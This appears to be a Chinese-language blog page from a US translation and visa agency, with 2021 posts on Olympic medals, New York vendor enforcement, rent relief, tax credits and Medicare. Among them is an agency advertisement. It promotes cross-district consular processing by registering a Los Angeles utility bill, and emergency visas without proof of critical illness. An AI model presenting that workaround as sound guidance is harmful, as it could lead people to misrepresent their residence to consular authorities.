虽说体育赛事重在参与,重在过程,不过最后的结果依然是最让人津津乐道的话题。不断滚动的奖牌排行榜、各项赛事的金牌得主会是谁,都将是近期各大媒体体育栏目报道的重头戏。

此次奥运会首枚金牌得主中国射击运动员杨倩,获得了东京奥运会女子10米气步枪金牌。

美国的首枚金牌获得者是游泳运动员蔡斯·卡利什(Chase Kalisz),卡利什在25日获得男子400米个人混合泳金牌,这也是东京奥运会游泳项目的首枚金牌。

东道主日本代表团的首位金牌获得者是高藤直寿,他赢得男子60公斤级柔道金牌。

截至到当地时间7月26日下午5时,美国共获7枚金牌,排名第一。排名第二位和第三位的是中国和日本,均获6枚金牌。

您若想了解金牌及奖牌排行情况,可以通过东京奥运会网站实时跟踪。

(图片:Olympics.com)

金牌设计

-重量为历届之最

-金属原料全部提炼于电子产品

此届奥运会奖牌设计师是日本导视设计协会主任川西纯市,他的作品是从400多件专业设计师的参赛作品中挑选出来的。他的奖牌设计理念可以说是非常的日本,那就是“为了取得荣誉,运动员必须付出日常的努力”。有些类似于我们中国人所说:一分耕耘,一份收获。

奖牌设计的主题是“光亮”和“光彩”,象征着运动员的能量、友谊的温暖光泽。奖牌的外形被设计成为像一块打磨得发光的原石,能吸收和反射出光线。

奖牌的直径为85毫米,奖牌的重量创下历届夏季奥运会奖牌重量之最:

  • 金牌的重量约556克,金牌的成分是纯银镀金6克以上;
  • 银牌的重量约550克,成分是纯银;
  • 铜牌的重量约450克,成分是黄铜。

(图片:olympics.com)

令人意想不到的是,这些奖牌的金属都是从废旧手机等电子设备提炼出来的。东京奥运组委会从2017年4月1日到2019年3月31日,花了两年时间,从大约 621万个旧手机中,一共提炼了32公斤纯金,3500公斤纯银和2200公斤纯铜。据说,创建这个项目是:为所有人创新未来。

奖牌的设计还要同时兼顾奥委会规定的元素:

  • 雅典神话中的胜利女神尼姬;
  • 本届奥运会官方名字;
  • 奥运五环标志。

(图片:Olympics.com)

除了精心设计的奖牌,日本细心的工匠们将为每一个奖牌配备一个精致的奖牌收纳盒。更让人惊喜的是,每一个奖牌盒的木纹都是独具特色的,对应着每个得奖选手都是与众不同的。

说到这里,不得不佩服日本东道主的细心周到。对于大多数像小编一样无缘亲眼见到奖牌的小朋友们,就只能看看图片了。

(图片:Olympics.com)

 

 

2021-07-26 / by / in , ,
代办美国领事认证 快速取证949-954-7996 回国紧急签证 三级公证/认证 | 无病危证明签证 跨区紧急签证 紧急旅行证 洛杉矶领馆签证 跨区三级认证 旧金山 迈阿密三级认证/公证

在美国的华人如果需要办理国内的事务,但由于各种原因无法亲自回国,特别是在Covid疫情期间,回国一趟不容易。这时,就需要领事认证(也称为三级认证)各类委托书、声明书或证件。另外,如果国内有紧急事件必须要亲自回国处理,能办理紧急签证或跨区签证是最快的。那么,领事认证、紧急签证等事务要怎么办理,可以又快又省力呢?

人在美国

就能处理国内事务

只需办理领事认证(三级认证/公证)

在美国的华人,如果无法亲自去中国办理事务,可以用《委托书》委托国内亲友代办国内事务,或者通过《声明书》就某些事务做出声明。由于本人无法亲自到国内,所以《委托书》、《声明书》等文件必须经过领事认证(又称三级公证/认证),证明文书上的签字或印章是本人的,才具有法律效力,被中国相关部门接受在中国使用。

根据国际惯例,办理领事认证的目的是使一国出具的公证书或有关文书能在另一国境内被有关当局所承认且具有法律效力。不致因怀疑文书上的印章和签字是否属实而影响文书的法律效力。

现在不少美国的华人在国内都有房产。比如,纽约的王先生以前投资的国内房产,现在他想出售,又觉得回国太耗时间,所以想委托在中国的父母办理。因此,就要签署一份授权委托书,写了委托书还不够,还需要美国当地的公证及中国领使馆的认证,证明委托书是他本人所写,这样寄回国内才能用。

所以办理领事认证(三级认证/公证)的目的,就是使在美国出具的公证书能在中国境内被承认并且具有法律效力。

另外,美国的出生证等个人证件,或者公司注册等,也要经过领事认证(三级认证)才能在中国使用。

办理领事认认证的步骤

在美国办理领事认证要经过以下几个步骤:

  1. 办理领事认证之前,文书要先经由当地的地方公证员(Notary Public)对文件进行公证(即第一级公证)。
  2. 然后进行州务卿认证Authentication(即第二级认证);
  3. 最后,由中国驻美国使馆对州务卿认证的文书进行证明Legalization(即第三级认证)。

 

经过以上三个级别的公证/认证后,领事认证就算完成。

请大家要注意的是,相关的文书是否会被中国机构接受还要取决于文书本身的内容记载是否符合国内一些部门要求。所以,建议事先和国内相关的部门确认文书的内容和格式,以免重复认证。

送往中国香港、澳门地区使用的有关文书,无需办理领事认证。有关文书在美国当地公证员公证,并经有关州务卿或美国国务院认证办公室确认后即可使用。

领事认证(三级认证/公证)的常见的个人文件

  • 各种委托书
    • 如房产、股票等财产买卖委托
    • 户口办理委托
    • 律师事务委托
  • 各种声明书
    • 如放弃财产继承权声明
    • 护照更新证明
    • 单身声明书
  • 美国机构出具的各种政府文件
    • 美国出生证
    • 美国结婚证
    • 美国离婚证
    • 美国死亡证明
    • 美国法庭判决
    • 美国护照
    • 美国学位证
    • 美国无犯罪记录
    • 美国医生执照
    • 美国在职证明
    • 身体健康检查证明,等等

不少人在提交给中国使领馆申请时,因为翻译文本不合规范等原因被要求补充材料,使得申请过程拖得很长。

另外,假如您所在城市离开辖区内的中国使领馆地理位置比较远的话,来回奔波州政府和使领馆也是很耗费时间。

其实,找一家有资质且经验丰富的办理机构来为您代办这些事务,能免去很多麻烦。毕竟作为专业机构,他们更加了解中国使领馆对文书的格式及规范的要求,能为您省下很多时间和精力。如果能在美国顺利办理领事认证,可以免去往返中国的机票、办理健康码以及在中国免疫隔离的时间和费用,无论从经济上还是时间上来讲肯定比飞回国内要划算得多。

那么,也有一些事务,只能是本人亲自到国内才可以。由于现在中国使领馆对赴中国签证实施“非必要,非紧急,不旅行”。您的国内事务是否属于紧急签证的范围,能否快速拿到赴国内的签证,其实这些事务也都可以交给专业机构来替您办理。

交给专业机构,一切都变得非常轻松

 

美域留学与翻译公司就是这样一家经验丰富且值得信赖的公司:

代办三级认证直通车 快速立即取证: 949-954-7996

自从2009年成为美国翻译师协会的会员以来(会员号:249353),美域已有十多年的翻译公证、代办多国签证、紧急签证及三级认证经验。

代办领事认证

美域公司有多年代办各个领馆辖区文件的领事认证,包括办理全部三个级别的公证认证的丰富经验。您不必往返州政府和中国领馆。您只需要准备好自己的身份证件和公证(认证)的基本信息,其它都可以交给美域办理,您可省心省力省时间。

对于特殊客户,比如工作繁忙或行动不便,美域还可以提供上门公证服务,以及代客邮寄服务。

代办回国紧急签证

紧急旅行证

没有病危证明紧急签证

跨区紧急签证

多国签证

除了领事认证,美域为客户提供多国签证服务,包括中国、美国、加拿大、英国、日本、申根、欧盟等国的签证服务。

疫情期间,洛杉矶领馆紧急签证相对宽松,美域可以承接没有病危证明以及省级商务部邀请函的跨区紧急签证等领事业务。

休斯顿领馆关闭后,美域可以给原休斯顿领区的客户通过注册洛杉矶水电账单的形式跨区办理紧急三级认证、紧急签证等业务。为很多客户节省了数月的时间,帮助到很多原本无法团聚的家人团聚。

美域各办公室员工,帮助众多客户成功地办理了在纽约/洛杉矶领事馆和DC大使馆等领事三级认证/签证/护照和旅行证更新等业务,积累了疫情期间申请中国使领馆各类领事认证、签证的丰富经验,并掌握了有效的申请途径。

美域公司在美国的迈阿密、波士顿、旧金山、洛杉矶和纽约设有办公室,愿竭诚为您提供服务。

波士顿办公室签证服务的联系方式

(邮寄)地址:AET,6 Pleasant Street, Suite 418,Malde MA 02148
电邮:visa.aetb@gmail.com
电话:(781)712-0258
微信: AET_BOSTON

纽约办公室签证服务的联系方式

(邮寄)地址:American Education and Translation Services, 100 Church Street, Suite 800, New York 10007
电邮:nyc@americantranslationservice.com
电话:(917)970-0698/(718)521-6708
微信: AET_NYC (“AET-NYC”是假微信号,不是美域公司微信号,请大家谨防上当受骗!) /AET_BOSTON

洛杉矶办公室签证服务的联系方式

(邮寄)地址:AET,19800 MacArthur Blvd Suite 420, Irvine CA 92612
电邮:ca2@aet21.com
电话:(949)954-7996
微信: LA9499547996

迈阿密办公室签证服务的联系方式

(邮寄)地址:AET,15321 South Dixie Hwy, Suite 302, Palmetto Bay FL 33157
电邮:info@aet21.com/info@americantranslationservice.com
电话:(786)250-3999/(305)799-8389
微信: AET-Miami

美域翻译公司:

人在怎么美国办理国内房产事务?

三级公证认证可以请人代办吗?

办理美国领事认证流程

美国紧急回国签证

无病危证明可以办理紧急签证吗?

美国可以办理跨区紧急签证吗?

紧急旅行证

跨区三级认证

洛杉矶领馆签证

洛杉矶领馆紧急签证

旧金山三级认证

旧金山领事认证

迈阿密三级公证认证 领事认证

领事认证财产委托书

国内房产买卖委托书

美国的出生证翻译公证/认证

如何快速办理领事认证

美国学位证书怎么被中国认可

在美国签署放弃财产继承声明书在中国能使用吗,有法律效力吗?

中国驻美国使领馆各辖区文件领事认证找谁可以代办?

美国各辖区领事认证是否可以邮寄办理?

中国签证可以请人代办吗?

在美国办理中国国内养老金领取资格审核

护照和旅行者等各类文件可以代取吗?

办理紧急签证时间要多久?

股票财产买卖委托书如何办理领事认证?

可以委托国内亲友办理国内户口事宜吗,户口办理委托怎么操作呢?

在美国怎么办理国内的律师事务委托?

在美国办理的护照更新声明书,在国内有法律效力吗?

美国出具的出生证如何做领事认证?

美国出具的离婚证怎么做领事认证?

美国出具的结婚证怎么做领事认证?

美国出具的死亡证明怎么做领事认证,到国内有法律效力?

美国出具的法庭判决可以领事认证吗?

美国出具的护照需要做领事认证,才能在国内有效吗?

美国出具的绿卡如何做领事认证?

美国出具的学位证要怎样做领事认证?

美国出具的无犯罪记录需要领事认证,怎么办办理?

美国出具的医生执照如何做领事认证?

美国出具的病历等等如何做领事认证?

美国出具的在职证明怎么做领事认证?

什么是美国的地方公证员公证?

洲务卿认证怎么办理?

领事认证要找谁做?

单身证明怎么办理?

护照和国籍声明需要领事认证,怎么办理?

美国办理公证可以上面服务吗?

办理领事认证需要准备什么材料?

中国驻外使领馆领事认证申请表有样本吗?

公司文件领事认证怎么办理?

公司文件领事认证需要准备什么材料?

办理领事认证有国籍要求吗?

美国出生的孩子可以上中国户口吗?

在美国办理领事认证需要用中文还是英文书写?

办理领事认证有加急服务吗?

在中国取得的学位证、结婚证和出生证,怎么办理英文的翻译公证件?

中国驾照和驾驶记录怎么办理翻译公证?

翻译公证可以网上办理吗?

翻译公证有加急服务吗?

美国医院看病,有中英文翻译员吗?

移民局面试,哪里可以找到口译员?

在美国法庭出庭,哪里可以找到法律相关的中英文口译员?

在美国学位评估怎么做?

没有有课程评估吗?

美国怎么做工作经历评估?

在美国办理加拿大签证、英国、日本、申根、欧盟直通车。

没有省级商务部邀请函,可以办理跨区紧急签证吗?

可以翻译美国的诊断书、病例、检测报告吗?

英语不好,在美国看病哪里可以找到专业口译员?

需要美国远程会诊,需要口译员怎么办?

美国能找到陪同就诊口译员吗?

2021-07-26 / by / in ,
疫情后首例 法拉盛缅街无证摊贩遭开罚单(视频)

本周五(7月23日)下午,纽约市消费者事务局(DCWP) 和警察局联手突然到法拉盛缅街,对无证地摊进行执法,有些摊主躲避不及被开出罚单。这是疫情以来纽约市首次对无证摊贩开罚。

疫情后DCWP首次开罚

7月23日中午12点左右,有民众就见到一队执法人员出现在缅街地铁口。缅街上的摊贩获悉上面的情况后,闻风而动,纷纷立马收拾物品,打包走人。

在靠近三福大道路口的位置,一名摆地摊卖花瓶、古董的摊贩来不及跑,被逮个正着,他收到了两张罚单,给他开罚单的是消费者事务局的工作人员。一张罚款50元,一张罚款250元(最高罚1000元)。罚金250元的罚单上写着的开罚理由是:没有由市消费者事务局发出的经营许可;罚金50元的罚单上写着:在受限制的公共区域上销售商品。执法人员在开具罚单时,用英文向档主说明了开罚理由。

法拉盛卖花瓶的摊贩李先生(右一)手上拿着纽约市消费者事务局执法人员(左二戴黑帽者)开出的两张罚单。

摊主李先生一脸无奈,他说:“事先也没有告知,突然间就来罚款,我没领失业金,就卖点小东西帮补生活。我东西多,瓶瓶罐罐收拾起来麻烦,没来得及跑。”

这是疫情以来针对法拉盛无证摊贩的第一次真正开出罚单。收到罚单的李先生说,“摆摊差不多一年,是第一次收到罚单。”

两张罚单,一张金额250元,另一张50元。

执照商家、摊贩各执一词

去年因为疫情,市长在去年6月要求警察局对街头无证小贩不再有执法权。在民众的认识中,警局无权执法了,无证摊贩便可以“变相合法”地继续摆卖了。无证摊贩如雨后春笋般出现法拉盛街头。缅街更是成了“地摊王国”,锅碗瓢盆日用品、手机配件、口罩、消毒水、洗手液、服装帽子、工艺品、古董,鱼丸肉丸、自家种的瓜果蔬菜、中国特色食品,应有尽有,可满足消费者方方面面的需求。

据估计,这些街头小贩中有 90% 没有获得销售一般商品的许可,这使得在疫情期间租赁了铺面有营业执照的商家的经营更加困难。认为无证摊贩不用交房租、不用纳税、不用交罚款,卖的东西没有质量保证,还把正规商家的生意抢走,长此下去,商家怎么生存?商家关门,谁来给政府缴税?之前政府对无证摊贩“一只眼开、一只眼闭”,对他们宽容,是因为体恤民众在疫情期间失业,但现在各行业都全面恢复和回归了,应该回复到正轨,不能再容许他们这样无章无法了,同时保护好正规的商家。

法拉盛的摊贩李先生收到罚单后,在收摊。

有的摊贩则表示他们是受疫情所迫才出来摆摊糊口,市府不给小摊贩生存空间,就是剥夺他们的谋生方式。还有小摊贩对执法部门没有事先通知感到不满。

纽约市消费者事务局(DCWP)对街头无证摊贩有执法权,而警局曾表示,在消费者事务局执法时警察可以给予辅助。

顾雅明:接到店家投诉多 会联合市府继续执法

法拉盛市议员顾雅明针对23日的执法行动表示,过去一年,他的办公室收到法拉盛的商家与居民多次投诉,摊贩占据人行道。此次行动是市长办公室联同市警、市消费者事务局的联合执法。

顾雅明说,去年疫情爆发以来,法拉盛市中心的摊位问题则越来越严重,导致人行道上的行人通行困难,街头售卖的东西各种各样,甚至还有人把家中的闲置物品摆在街头出售。此次行动是对已有法律法规的执行,要确保民众拥有安全的路面环境;而且对禁止摆摊法律的检查、执法,会恢复到疫情前定期进行的状态。

顾雅明办公室重申,法拉盛中心区部分路段禁止摆摊已成为法律,禁摆摊的街道包括:法拉盛Northern Blvd.至Sanford Ave.的Main St.路段,College Point Blvd.至Union St.的Roosevelt Ave.路段,41Ave.至Barclay Ave.间的Kissena Blvd.路段,Prince St.至Main St.的40 Road,Main St至Union St.的41 Ave.,以及Main St.至Frame Place间的41 Road等路段。

禁止法拉盛市中心部分路段摆摊的法案中,也对人行道摊位(stoop line stand)的延伸,规定不能超过3呎,顾雅明同时提醒法拉盛的店家遵守该法规。

 

 

2021-07-24 / by / in , , ,
纽约州疫情租房补贴 可领12月房租 房东租客皆可申请

纽约州在武汉肺炎( COVID-19)疫情期间的房屋租金减免计划(COVID Rent Relief Program),旨在为疫情中,因收入减少而导致拖欠房屋租金的低收入家庭提供援助,一次性帮助支付疫情以来最多12个月的未缴付房屋租金。这个租金补助项目,不仅租客能申请,房东也可直接申请。(官方网站详细信息:Emergency Rental Assistance Program (ERAP)

纽约州房屋租金减免计划 包含的内容

  • 如果申请通过,那么最多可获得12个月的租金补助。这项租房补助是帮助申请者缴纳去年3月之后拖欠的房租,会直接打给房东,而不是给租客发钱。
  • 租客的燃气费和电费也可以申请补助。
  • 另外,如果申请者的房租超过家庭收入的30%,还可以得到额外最多3个月的房屋租金补贴。

申请的条件

如果纽约居民满足以下四个条件,则他们有资格获得租金补贴。

  • 家庭的总收入需要等于或低于该地区收入平均数的80%。您可以使用您当前的月收入或 2020 年的全年收入来计算。失业和社会保障福利计入该收入,但补充营养援助计划 (SNAP) 福利不计入。
  • 从去年3月13号也就是疫情爆发后,家庭中必须有人领取了失业救济金。
  • 申请者在去年3月13号往后在自己的主要住所拖欠房屋租金未缴。
  • 申请者面临无家可归、无处可住的风险,这一点也可以用逾期未交的租金来证明。

重要提示:不管是什么移民或居住身份,只要在纽约州居住,都可以申请纽约的这项租房补贴。

申请需要什么材料和文件?

租户需要以下文件:

  • 所有家庭成员的个人身份证明,例如带照片的身份证件、驾照或政府签发的非驾驶员身份证件、护照、福利发放卡、出生或洗礼证明或学校注册。
  • 如果您有社会安全号码,则需要提供。但请记住,您无需拥有合法的移民身份或社会安全号码即可获得该计划的资格。
  • 租金证明和签署的租约,即使它已经过期。如果您没有租约,您可以使用租金收据、取消的支票或汇票。否则,您的房东可以写一封信确认租金金额。
  • 居住和入住证明,例如签署的租约、租金收据、水电费账单、学校记录、银行对账单、写有您姓名的邮件、保险单或驾照。
  • 收入证明以证明收入资格。如果您没有官方收入文件,您可以填写一份名为“自我证明”的表格。
  • 如果申请帮助支付同一出租单位的水电费欠款,您需要一份煤气或电费账单的副本。

纽约州会优先考虑家庭收入在当地平均数50%以下、并且家里有一名成员有如下任一特殊情况的申请者。

这些情况包括家里有人现在仍然失业且不少于90天;或是家里有人是退伍军人;或当前面临被驱逐的官司;或当前居无定所;或者居住在被疫情严重影响的社区。

房东也可申请

房东也可以帮助房客申请。他们需要提交W9税表、租约、银行收款信息等。

需要注意,一旦帮房客申请租金补助,就等于房东默认了在收到补助一年之内不能提高租金、不能驱逐租客等条件。

联系社团帮助 申请租房补贴

为了确保更多的纽约低收入家庭,能够在这次房屋租金减免计划中收益,纽约州划拨了一部分资金来支付社区团体的费用,以帮助租户和房东申请。联系这些提供援助的社团,获得批准的机会要更大。

布朗克斯(The Bronx

布鲁克林

曼哈顿

皇后区

史坦顿岛

  • 租金减免热线:929-724-5360

 

 

2021-07-23 / by / in , , , , ,
美国联邦医疗保险Medicare红蓝卡 ABCD四大部分 | 福利范围 各项费用解析 保费 自付额 共保额 2021年最新更新

联邦医疗保险Medicare,俗称红蓝卡,专门为保障65岁以上的民众,及一些指定疾病或伤残人士所提供的医疗保险。与普通保险不同,Medicare红蓝卡涵盖了A\B\C\D四大部分,这四大部分又分别涵盖了不同的医疗承保范围。那么,红蓝卡A\B\C\D四大部分承保范围有哪些,每月保费是多少?

红蓝卡的ABCD四大部分

 

A部分 – 住院保险,承保的服务包括:

  • 医院住院护理
  • 专业护理疗养院(出院后)
  • 家居医护照料
  • 临终安宁护理

A部分的月度保费:

  • 如果您交满40个季点,月度保费为0元;
  • 如果是30-39个季点,需要支付每月259美元保险费;
  • 少于30个季点,如果需要投保A部分,就需要支付每月471美元保险费。

关于季点:只需 $1,410 的收入便可取得一个季点,每年最多只能获得四个季点。

A部分每年的自付额,2021年的标准是$1484。付满自付额部分后:

  • 住院的前60天的医疗费用免费。
  • 61-90天之间,每天自己承担的费用是$371。
  • 91天之后有60天的保留日(lifetime reserve day),每天需要自付$742。

保留日,一生中总共不超过60天。用完60天保留日之后,保险就不再支付,医疗费用都需要自费。

 

专业护理疗养院,只有在出院后立即入住或很快入住的情况下,红蓝卡可以支付最多20天的住院期间的费用。从第21天到100天,自己承担的费用,2021年的标准是每天$185.5。100天之后的费用,自己要承担全部的费用。

B部分 – 医生保险,承保以下的服务内容:

  • 门诊护理;
  • 专科医生;
  • 急诊;
  • 预防性服务(体检筛查、疫苗);
  • 耐用医疗设备(如轮椅、助行器、病床等)。

B部分是自愿选择的,每个月支付的保费,2021年为$148.5/月,每年都会有调整。除此之外, 2021年的自付额是$203,就是每年在报销医疗费用之前,自己先要支付的费用。之后产生的医疗费用,保险承担80%,个人承担20%,没有年度自付上限。

B部分的保费其实根据家庭收入会有调整,约有7%的人士可能受影响。

根据2021年的标准,如果个人年收入低于或等于$88,000,购买B部分的保费最少为每月$148.5。如果个人年收入高于$88,000,或者夫妻年收入高于$176,000,就要支付额外的B部分保费,根据收入越高,2021年的月度保费从207.9 美元到504.9美元不等。

(图片:CMS.gov)

D部分 – 配药,处方药的保险:

  • 支付处方药(包括推荐的注射剂或疫苗)

Medicare药物保险计划由私人保险公司经营,Medicare会确定一个标准的福利计划,保险公司的条款必须至少达到这个基本标准。在美国,D部分的保险计划有超过1000种计划可供选择,不同的保险计划覆盖不同的药物。如果需要服用基本计划保障之外的特殊药物,则需要支付较高的保费。而且,Medicare不能覆盖所有的药物的费用。

D部分需要主动申请,并且每月支付医疗保险费用。按照2021年规定,如果个人年收入低于$88,000,D部分每月保险费为平均大约为40美元,如果个人收入高于$88,000,或者夫妻年收入高于$176,000,根据收入越高,D部分每月保险费,除了基本保费外,还要额外增加上月12.3至77.10美元的高收入调整费。

A部分和B部分都不包含处方药的报销,处方药保险计划D部分是单独的,需要另外购买。报销比例要根据具体参加的保险计划而定,

2021年的标准D部分支付项目如下:

每年基本自付额: 2021年规定D部分每年基本自付额,也就是收到保险公司报销之前,您首先要支付的费用,最多不超多$445,每一种保险计划的基本自付额会有所不同。

每年付满了自付额之后,根据不同的保险计划,每个处方还有共付额(每次支付固定金额)和共保额(自己支付的比例,比如20%)。

自付区间:每年自付部分超出 4,130 美元药费之外,投保人就要支付更高比例的药费,直至自付药费的总支出达到 6,550 美元。自付总费用包含基本付费和共担费用。

当自付总费达到6,550美元时,D计划医保会提供“巨灾险”,并且在当年剩下时间里,每次拿处方时,投保人自己承担的部分会减少很多。

C部分 – 优势计划。

同时具有红蓝卡的A部分与B部分的人士可以参加C部分,这部分包括了眼、耳、牙原本Medicare 没有的福利。

C部分是由Medicare授权的商业医疗保险公司提供的医疗保险计划,可以选择的计划很多。C部分覆盖A部分和B部分的医疗项目,并且大部分的C计划都包含处方药保险,既D部分。所以说,C部分-红蓝卡优势计划是一种多合一的保险计划。

大多数优势计划承保传统Medicare原先没有的福利,例如视力、听力、牙科和健身计划。有些计划还可以承保前往就诊的交通费,以及一些其它的福利。

不同的计划,会有不同的福利范围。所以在选择C部分计划时,请仔细核对您选择的计划所提供的福利,还有您是否符合资格、有没有其它限制等。

C部分Medicare Advantage优势计划的医疗网络一般服务范围仅限于本地,C部分会设有年度最高自付额,为6,700美元。

所以简单的说,A部分是住院保险,B部分是看医生保险,D部分是药物保险。A和B是传统红蓝卡医保。

C部分优势计划,也叫做实惠医保,就是在原先的联邦医疗保险Medicare之外,另外可以选择的多合一计划。一般优势计划的自付费用低于原先的AB+D计划。

传统Medicare医疗报销计划的网络资源覆盖全美,可以在美国的任何接受Medicare的医院诊所使用,看专家门诊不需要转诊。不过C部分-优势计划的医疗网络就不同了,您只能选择C部分的网络内医生,有些保险计划看专家可能会需要转诊,就看您选择的计划了,类似于PPO或HMO。

A 和 B在联邦计划内,C和D就是私人医疗保险,不过也都是经过Medicare授权的,属于Medicare的范围。很多人选择C 部分因为这个计划包括了A B和D 部分。不过C部分的医疗网络,可能和AB部分不同。如果您从原先的AB计划转向选择C部分医疗保险,看医生前请确认您选的医院和医生是否在保险覆盖网络之内。

(图片:medicare.gov)

 

如果您符合红蓝卡Medicare申请要求,但是无力承担自付费用,也不用担心。您可以同时申请低收入医疗补助保险Medicaid,白卡。Medicaid可以帮助支付Medicare医疗保险的费用。

美国纽约申请Medicaid白卡收入标准 福利项目 | 申请条件 流程 是否公共负担 影响身份申请吗

 

 

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不负担任何形式的责任。您在有需要时请向专业的税务法律顾问咨询。

2021-07-23 / by / in , ,
纽约未报税家庭 也可领儿童抵税福利(CTC) 市府免费协助

拜登政府于 7 月开始每月向数百万美国家庭支付数百美元,这是美国国会 3 月份通过的经济救济立法的一部分。

根据美国财政部的消息,从 7 月 15 日开始,每个6岁以下孩子的家庭,家长可以直接收到300美元;每个18岁以下孩子的家庭,家长每月直接获得250美元。

根据联邦规定,纽约市在2019和2020年有儿童的缴税家庭可自动收到这笔抵税金(Child Tax Credit),但那些没有申报所得税的家庭在满足一定条件后,也可以申请抵税。

纽约市长白思豪说,这个联邦计划旨在“消灭一半贫困并帮助纽约人在基本生活花销外给孩子攒出上大学的钱”。

白思豪周二(7月20日)表示,除了直接得到联邦儿童抵税福利(Child Tax Credit)的家庭外,纽约市还有25万个在过去2年没有报税, 但在他们报税后也够资格享受联邦儿童抵税福利的家庭,市政府将免费帮助这些家长报税,以全部领取来自联邦的金额高达30亿美元的福利。

儿童抵税福利于7 月 15 日开始入账,大多数纽约人无需采取任何措施即可收到付款。但是,未向国税局提交信息的纽约人,他们要么缴交税款,要么使用 IRS 的Child Tax Credit Non-Filer Sign-Up Tool输入信息 。

在接下来的几周内,纽约市免费报税系统(NYC Free Tax Prep)将增加多种免费报税选项,包括远程、面对面的服务。

纽约市消费者与劳工保护局代理局长Sandra Abeles表示,如果您有一个新生儿、收入发生变化、收入不足以报税、是 SSDI 的接受者、没有社会安全号码——无论是什么原因,不要让儿童税收抵免无人认领——这是你的开支。

纽约市将帮助2019或者2020年度没有报税的家庭查看资格,申请儿童抵税。

未报税的家长可拨打311预约一对一辅导,或者访问 nyc.gov/TaxPrep查询。

 

 

2021-07-22 / by / in , , , , ,
美国联邦医疗保险Medicare红蓝卡 谁有资格申请 | 纽约退休医疗保险 ABCD四部分福利项目 申请材料 申请方式 申请时间 2021年最新资讯

联邦医疗保险Medicare,俗称红蓝卡,是美国联邦政府管理的健康保险计划。专门为保障65岁以上的民众,及一些指定疾病或伤残人士所提供的医疗保险。由于联邦医疗保险Medicare卡片上有红色和蓝色代表A部分 和 B部分,所以又称为红蓝卡。2020 年,Medicare红蓝卡涵盖了大约 6,200 万人,其中,86% 为 65 岁及以上长者。那么,新移民可以申请红蓝卡Medicare吗?红蓝卡包括了哪些医疗承保范围呢?

Medicare红蓝卡申请要求

申请红蓝卡Medicare需要满足以下条件:

  • 年龄65岁以上;
  • 身份为美国公民或连续居住五年的合法居民(绿卡);
  • 已经报税10年或40个工作季点;

如果申请人领伤残金24个月后、需要洗肾者、肌肉萎缩患者,那么不满65岁也可以申请。

报税点数满40工作季点参加红蓝卡Part A部分(住院保险)每月就不需要保险费了。

如果是新移民,报税点数不够要求,怎么办呢只要年龄满65岁,也可以申请,不过Part A部分就要每月支付保费购买。2021年最高自付保费为$471/月。

其实,无论您有无工作季点,红蓝卡受益人看医生或住院都需要付一些费用,例如共付保险(Coinsurance)和自付额(Deductibles)。

对于低收入老年人,如果无力承担自付费用,可以同时申请低收入医疗补助保险Medicaid,白卡。Medicaid可以帮助支付Medicare医疗保险的费用。

红蓝卡的福利是可以夫妻间共同享用的,只需婚姻关系有10年或以上, 包含已离婚的情况,但必须仍然是单身没有再婚。如果是丧偶(仍是单身)的情况下,需要有9个月的婚姻关系。这些情况下,配偶都可以申请红蓝卡。

红蓝卡的ABCD四大部分覆盖的福利

联邦医疗照顾保险(Medicare)分为四大类:

A部分 – 住院保险,承保的服务包括:

  • 医院住院护理;
  • 专业护理疗养院(出院后);
  • 家居医护照料;
  • 临终安宁护理。

在符合缴纳医疗保险税收规定期限(10年)后,您和配偶就不需要支付A部分每月的保费,也称为免保费的A部分;如果还没有资格申请免保费的A部分,您可以购买A部分。

B部分 – 医生保险,承保以下的服务内容:

  • 门诊护理;
  • 专科医生;
  • 急诊;
  • 预防性服务(如体检筛查、疫苗);
  • 耐用医疗设备(如轮椅、助行器、病床等)。

B部分是自愿选择的,每个月要支付标准的联邦医疗保险费。

D部分 – 配药,处方药的保险:

  • 支付处方药(包括推荐的注射剂或疫苗)。

Medicare药物保险计划由私人保险公司经营,Medicare会确定一个标准的福利计划,保险公司的条款必须至少达到这个基本标准。不过,Medicare不能覆盖所有的药物的费用。

A部分和B部分都不包含处方药的报销,处方药保险计划D部分是单独的,需要另外购买。报销比例要根据具体参加的保险计划而定。

C部分 – 优势计划

同时具有红蓝卡的A部分与B部分的人士可以参加C部分,这部分包括了眼、耳、牙原本Medicare 没有的福利。

C部分是由Medicare授权的商业医疗保险公司提供的医疗保险计划,可以选择的计划很多。这部分覆盖了A部分和B部分的医疗项目,以及眼、耳、牙原本Medicare 没有的福利,并且大部分都包含处方药保险,既D部分。

所以简单的说,A部分管住院,B部分是看医生,D部分管处方药。

A和B是传统医保,从1965年开始实施。C部分叫做实惠医保,就是以前的联邦医疗保险加选择的计划。

传统的Medicare医疗报销计划的网络资源覆盖全美,可以在美国的任何接受Medicare的医院诊所使用,看专家门诊不需要转诊。

A 和 B在联邦计划内,C和D就是私人医疗部分。很多人选择C 部分因为这个计划包括了A B和D 部分。不过C部分的医疗网络,可能和AB部分不同,所以选择C部分医疗保险看病前请确认您选的医院和医生是否在保险覆盖网络之内。

(图片:medicare.gov)

什么时候可以申请红蓝卡?

申请红蓝卡的日期有三个:

一是申请人满65岁的前三个月、后三个月,以及满65岁的当月,即共7个月时间,是最初申请时间(IEP, Initial Enrollment Period),可以登记申请Medicare红蓝卡。在IEP期间,您可以申请红蓝卡的A, B, D部分,或者申请A和B部分之后,再转为C部分。

二是,如果错过IEP,则要到每年的红蓝卡一般申请期(GEP, General Enrollment Period),每年1月1日∼3月31日可以登记申请Medicare红蓝卡A部分和B部分。保险会从7月1日生效。

每年10月15日到12月7日是红蓝卡C部分或D部分的公开申请时间。在这个时间,你可以选择加入、更改或取消C部分或D部分。如果要更改计划的话,新的计划实施日期从第二年的1月1日起生效。

 

三是特殊申请期,即满65岁仍在工作且公司有医保,向社安局出示证明,可推迟申请。

符合申请红蓝卡资格而不申请者, B部分,D部分会有罚款,每延迟12个月,月费须额外付10%,而且罚款是永久性的,每个月都要支付。

对于已经接受社会保障或铁路退休福利 4 个月或更长时间的人,年满 65 岁时会自动参保 A 部分。

申请红蓝卡需要准备的材料

  • 身份证明(绿卡、驾照);
  • 社会安全号码;
  • 收入证明,资产证明;

红蓝卡的申请方式

红蓝卡的申请要向社会保障署(Social Security Administration)申请,通过以下方法都可以办理:

  • SSA社会保障署在线申请:社会保障署SSA网站(https://www.ssa.gov/medicare/ );
  • 电话申请:1-800-772-1213 周一至周五,7:00a.m. – 7:00p.m.;
  • 到当地SSA办公室办理:需要打电话预约。搜寻纽约SSA办公室,您可以点击这里

如果您有问题的话,可以电话联系联邦医疗照顾和医疗辅助中心,号码是:1-800-633-4227,电话服务中心提供24小时全天服务。

